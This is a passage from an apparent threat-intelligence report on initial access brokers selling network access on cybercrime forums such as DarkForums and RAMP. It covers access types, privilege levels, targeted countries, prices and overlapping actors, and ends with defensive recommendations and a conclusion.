DarkForums is one of the two new forums that were included in this year’s analysis, and the most dominant in terms of IAB threads. It had a somewhat unique access type, leading the board, Fortinet, followed by SSH, RDP, and Root access. The Fortinet access points were predominantly sold by a very active DarkForums user, BigBro. Interestingly, we also found another user, Big-Bro, active on RAMP, who is likely the same user, although selling different types of access points.

image2.png

Similar to the other forums, the most targeted country on DarkForums was the United States (25.8%); however, unlike the others, many of the network access offerings were from organizations in the Government and Retail sectors. 

As for the pricing, DarkForums had the highest average of alleged targeted organization revenue and offering base price by a very large margin compared to the rest. 

RAMP (Russian Anonymous Marketplace)

RAMP has continued to operate as a high-trust, invite-only ecosystem following its resurgence after earlier disruptions by law enforcement. By 2025–2026, RAMP solidified its role as a convergence point for ransomware affiliates, IABs, and cash-out services, rather than a general discussion forum. RAMP listings observed during this period emphasized full domain access, long-term persistence, and revenue-sharing models, reflecting a mature, partnership-driven cybercrime economy. Its closed nature limits visibility, but the activity that does surface suggests alignment with the most operationally sophisticated threat actors.

RAMP was another newly examined forum and the second-highest in terms of IAB threads. The most dominant type of access being sold by RAMP’s IABs was RDP, followed by VPN and Citrix by a large margin. The most common privilege types for sale were Domain User (56.4%) and Domain Admin (33.9%). Notably, most of the threads that were analyzed for this forum (78.8%) belonged to only two users, Big-Bro (mentioned earlier) and an allegedly Albanian user, lacrim.   

image10.png

In RAMP, the United States continued to lead the list of targeted countries (36.5%). The average alleged targeted organization revenue was approximately $440 million, and the average base price was almost $6400. 

Threat actors active across multiple forums

This research revealed that a subset of threat actors maintains an active presence across multiple forums, with the greatest overlap observed between Breached and DarkForums. This overlap is understandable, since DarkForums was intentionally designed as a "spiritual successor" and a like-for-like replacement for Breached following the latter's frequent law-enforcement disruptions. Consequently, the two platforms share a nearly identical visual and structural layout, both utilizing the MyBB forum software to create a familiar environment for users.

image13.png

Recommendations

No security strategy can remain static. Policy frameworks and compliance controls alone are insufficient. Continuous monitoring of real-world access behavior is essential. Anomalous logins, unexpected privilege escalations, access outside normal business hours, or activity from unfamiliar locations should be treated as early indicators of compromise.

Proactive threat intelligence further enables defenders to anticipate which access methods are most likely to be targeted. An effective defense requires making stolen access difficult to exploit. Enforcing least-privilege principles, tightly controlling administrative rights, hardening remote access services with MFA, and accelerating intrusion detection all materially limit an attacker’s ability to escalate and persist. While breaches may still occur, rapid identification and containment can prevent them from becoming full-scale incidents. Organizations that evolve their defenses in step with access brokers can erode the attackers’ advantage, increasing the cost and reducing the effectiveness of cybercrime.

Conclusion

The comparison between 2024 and 2025 highlights how initial access brokers continue to adapt to increasingly robust defensive measures. As organizations strengthen their security postures, attackers refine the types of access they steal and monetize to maintain effectiveness. In 2025, high-privilege credentials, such as domain or local administrator accounts, will command greater value because they enable rapid lateral movement and immediate operational impact, leaving defenders little time to detect and respond. Lower-privilege access is steadily losing value, signaling a clear shift from volume-driven access sales to a focus on quality and impact. Access vectors are evolving in parallel. As VPN infrastructure becomes more hardened and closely monitored, attackers are pivoting to RDP, RDWeb, and SSH services that are operationally critical, widely exposed, and often subject to less rigorous scrutiny. This shift reflects a pragmatic path-of-least-resistance strategy rather than any decline in attacker sophistication.

❌
❌